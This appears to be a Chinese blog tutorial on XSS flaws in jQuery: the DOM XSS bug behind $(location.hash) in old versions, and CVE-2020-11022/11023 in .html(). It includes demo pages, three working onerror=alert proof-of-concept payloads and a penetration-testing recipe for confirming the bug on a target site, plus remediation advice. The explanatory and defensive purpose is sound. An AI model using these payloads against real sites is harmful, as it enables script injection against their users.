赞
踩
jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库。jQuery设计的目的是为了写更少的代码,做更多的事情。它封装 JavaScript 常用的功能代码,提供一种简便的 JavaScript 设计模式,优化 HTML 文档操作、事件处理、动画设计和 Ajax 交互。
据一项调查报告,在对 433000 个网站的分析中发现,77%的网站至少使用了一个具有已知安全漏洞的前端 JavaScript 库,而 jQuery 位列榜首,而且远远超过其他库。但事实上这些库有可用的不存在漏洞的最新版本,只是很少有开发人员会更新,一方面安全意识不够,另一方面更新需考虑兼容性问题。
最简单粗暴的方法,直接使用火狐浏览器的插件:Retire.js
,如下是 CSDN 网站主页存在的漏洞问题:
DOM型 XSS
在 JQuery 的诸多发行版本中,存在着 DOM-based XSS(跨站脚本攻击的一种) 漏洞,易被攻击者利用。漏洞原因在于过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 LOCATION.HASH
跨站漏洞。这也是最为被大众熟知的 jQuery 的一个漏洞。此外,1.12.0 之前的 jQuery UI 库也可以通过对话框函数的 closeText 参数进行 DOM-based XSS 攻击。
漏洞编号
CVE-2016-7103、CVE-2015-9251、CVE-2014-6071、CVE-2012-6708、CVE-2011-4969 等
影响版本
(1)1.x系列版本等于或低于1.12的jQuery;
(2)2.x系列版本等于或低于2.2的jQuery。
漏洞成因
jQuery 中过滤用户输入数据所使用的正则表达式存在缺陷,导致location.hash
跨站脚本攻击。
jQuery 1.6.1版本
正则表达式如下:
quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
该正则表达式缺陷引起的XSS攻击:
jQuery1.7.2 版本
正则表达式如下:
quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
该正则表达式存在的缺陷,容易引起DoM型XSS攻击:
jQuery 1.11.3版本
正则表达式为:
rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
该正则表达式引起的XSS漏洞:
总结起来,DOM-based XSS 漏洞在各个版本都可成功的原因在于 jquery 本身对于正则表达式都无法完善地过滤危险字符,但前提是源码使用了$(location.hash)
。故触发条件较为苛刻,且只可触发 DOM 型 XSS 漏洞。
演示程序
<!DOCTYPE html> <html lang="zh"> <head> <title>Jquery XSS</title> <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.6.1/jquery.js"></script> <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.9.1/jquery.js"></script> --> <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.11.1/jquery.js"></script> --> <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.12.1/jquery.js"></script> --> <script> $(function () { //$(location.hash); var e= location.hash.split('#')[1]; $(e) }) </script> </head> <body> <h1>JQuery with XSS Demo</h1> <li> <a href="#<img src=/ οnerrοr=alert(1)>" target="_blank">Click here!</a> </li> </body> </html>
1、将上述 html 文件保存到本地 phpstudy 网站目录下:
2、启动 phpstudy:
3、然后 IE 浏览器或者 Microsoft Edge 浏览器中访问 Demo 页面:
4、点击网页链接,触发漏洞:
【注意】此漏洞场景不适用于 谷歌浏览器和 火狐浏览器,可能因为浏览器自身安全策略问题。但是 Microsoft Edge 浏览器的爸爸(微软)并不把它当作一个漏洞,于是乎……
1、临时解决方案:
暂时隐藏 jQuery 版本信息,避免被攻击者识别出版本号,但不建议采取此办法;
2、正式解决方案:
建议将 jQuery 版本升级至 1.9.x 或以上版本 3.4.0,升级 jquery-ui 版本到 1.12.0 以上。不过升级有风险,因为版本兼容的问题,jQuery 官方推荐了 jQuery Migrate 库来解决 jQuery 升级问题。
3、代码层解决方案:
(1)过滤用户输入的内容
检查用户输入的内容中是否有非法内容。如<>(尖括号)、"(引号)、 '(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。
(2)严格控制输出
可以利用下面这些函数对出现xss漏洞的参数进行过滤
1、htmlspecialchars() 函数,用于转义处理在页面上显示的文本。
2、htmlentities() 函数,用于转义处理在页面上显示的文本。
3、strip_tags() 函数,过滤掉输入、输出里面的恶意标签。
4、header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览。
5、urlencode() 函数,用于输出处理字符型参数带入页面链接中。
6、intval() 函数用于处理数值型参数输出页面中。
7、自定义函数,在大多情况下,要使用一些常用的 html 标签,以美化页面显示,在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。
jQuery 官方在 2020年4月 发布了最新版本 3.5.0,主要修复了两个安全问题(漏洞编号 CVE-2020-11022、CVE-2020-11023
),官方博客为:jQuery 3.5.0 Released!
据NVD描述:在大于或等于
1.2
且在3.5.0
之前的 jQuery 版本中,即使执行了消毒(sanitize)处理,也仍会执行将来自不受信任来源的HTML传递给 jQuery 的 DOM 操作方法(即 html()、.append()等),从而导致 XSS 漏洞。
漏洞利用条件
$('<tag>')
等方法处理用户输入;对于此漏洞原作者搭建了在线环境,内置了三个 xss poc,点击 Append via .html()
按钮即可触发 XSS:
点击触发漏洞:
HTML 源码审计:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title> <script src="//road.zhiyuntongkj.com/jeecg-boot/bigscreen/template3/js/jquery-3.3.1.min.js"></script> </head> <body> <script> function test(n,jq){ sanitizedHTML = document.getElementById('poc'+n).innerHTML; if(jq){ $('#div').html(sanitizedHTML); }else{ div.innerHTML=sanitizedHTML; } } </script> <h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1> <p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p> <h2>PoC 1</h2> <button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button> <xmp id="poc1"> <style><style /><img src=x οnerrοr=alert(1)> </xmp> <h2>PoC 2 (Only jQuery 3.x affected)</h2> <button οnclick="test(2)">Assign to innerHTML</button> <button οnclick="test(2,true)">Append via .html()</button> <xmp id="poc2"> <img alt="<x" title="/><img src=x οnerrοr=alert(1)>"> </xmp> <h2>PoC 3</h2> <button οnclick="test(3)">Assign to innerHTML</button> <button οnclick="test(3,true)">Append via .html()</button> <xmp id="poc3"> <option><style></option></select><img src=x οnerrοr=alert(1)></style> </xmp> <div id="div"></div> </body> </html>
分析下以上网页源码:
1、首先使用如下代码模拟了一个开发场景,即将页面的所有 div 元素替换为根据 ID 取到的 sanitizedHTML:
<script>
function test(n,jq){
sanitizedHTML = document.getElementById('poc'+n).innerHTML;
if(jq){
$('#div').html(sanitizedHTML);
}else{
div.innerHTML=sanitizedHTML;
}
}
</script>
2、虽然三个 poc 都使用了包含 onerror 事件的 img 标签,但其实它们是放在属性或 style 元素内部,因此会绕过 HTML 清理器。以 poc1 为例,根据此 id 取到的值如下:
<style><style /><img src=xοnerrοr=alert(1)>
点击之后,执行 XSS,此时审查 div 元素:
发现我们提交的 poc 多了一个闭合标签</style>
,变成了:
<style><style /></style><imgsrc=x οnerrοr=alert(1)>
</style>
闭合了<style>
标签,成功执行后面的<img>
脚本,导致XSS。
1、CVE-2020-11022
导致上述问题的关键是,在 html() 方法中,作为参数传递的 HTML 字符串将传递到 $.htmlPrefilter()
方法:
rxhtmlTag =/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
return html.replace(rxhtmlTag, "<$1></$2>" );
}
在 jquery 3.x 版本之后使用的正则为:
rxhtmlTag =/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r
这就使用到环境里的 poc2(仅适用于 jQuery3.x ),注意这里的 XSS payload 是作为属性出现,所以可以绕过消毒器规则:
<img alt="<x" title="/><img src=xοnerrοr=alert(1)>
该 poc 使用 html() 方法执行后发现变为:
<img alt="<x" title="/></x”><imgsrc=x οnerrοr=alert(1)>
该正则会将 x"
识别为标签并新增</x”>
闭合标签,从而达到 XSS 的效果:
2、CVE-2020-11023
针对上述漏洞原理,jQuery Team 进行了修复,修复手段为将$.htmlPrefilter()
方法替换为标识函数,因此传递的HTML字符串现在不再经过htmlPrefilter
函数处理,从而成功修复了漏洞。但仍有一些手段可以绕过,C VE-2020-11023 就是针对 CVE-2020-11022 的绕过。
绕过使用的是另一个特性,某些特殊的标签在经过 html() 方法处理时,会由于 HTML 的特性或浏览器的 bug 而使得这些标签被移除。
option 就是这些特殊标签之一,我们知道 option 元素通过位于 select 元素内部来构造一个选择列表,但如果没有 select 元素,option 会被移除。为了解决这个 bug,如果传入参数的第一个元素为 option,jQuery 会新增<select multiple='multiple’>
和</select>
。所以我们提交 poc3:
<option><style></option></select><imgsrc=x οnerrοr=alert(123456)></style>
经过处理会变为:
<select multiple='multiple'><option><style></option></select><imgsrc=x οnerrοr=alert(123456)></style></select>
根据HTML从前往后解析的顺序,会先解析一个<select>
标签,且<select>
不允许将大部分 HTML 标签包裹其中,导致<style>
被忽略,而后识别<img>
标签从而触发 XSS。
此漏洞在最新的3.5.0中也被修复,对于特殊的标签进行了处理。
https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25
(1)更新 jQuery 到 3.5.0 或更高版本:
https://code.jquery.com/jquery-3.5.0.js
(2)使用XSS清理工具清理用户输入的HTML,官方推荐:
https://github.com/cure53/DOMPurify
在渗透测试过程中,使用上面提到的火狐浏览器的插件:Retire.js
检测到目标站点使用的 JQuery 框架存在 CVE-2020-11022、CVE-2020-11023
漏洞的话,可以将对于的 JS 文件替换上述漏洞演示环境源码中的 js 路径(此处以 慕课网官网首页 为例):
存在漏洞的 js 文件路径如下:
将上面检测漏洞的网页源码保存到本地 html 文件,然后替换 JS 文件路径(即检测目标):
同样放在 phpstudy 网站路径下后在浏览器中访问:
点击触发 XSS 漏洞,证明存在该漏洞:
最后提一句,JQuery框架的 DOM XSS 漏洞利用条件还是比较苛刻的,只有使用具体的 jquery 的函数才能触发。也就是说只有当网站调用了存在漏洞的 jquery 函数才有机会利用(需要找到调用的函数在哪个接口),但是很多时候都是只用的 ajax。所以嘛,该漏洞的风险定级,自己看着办吧……
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。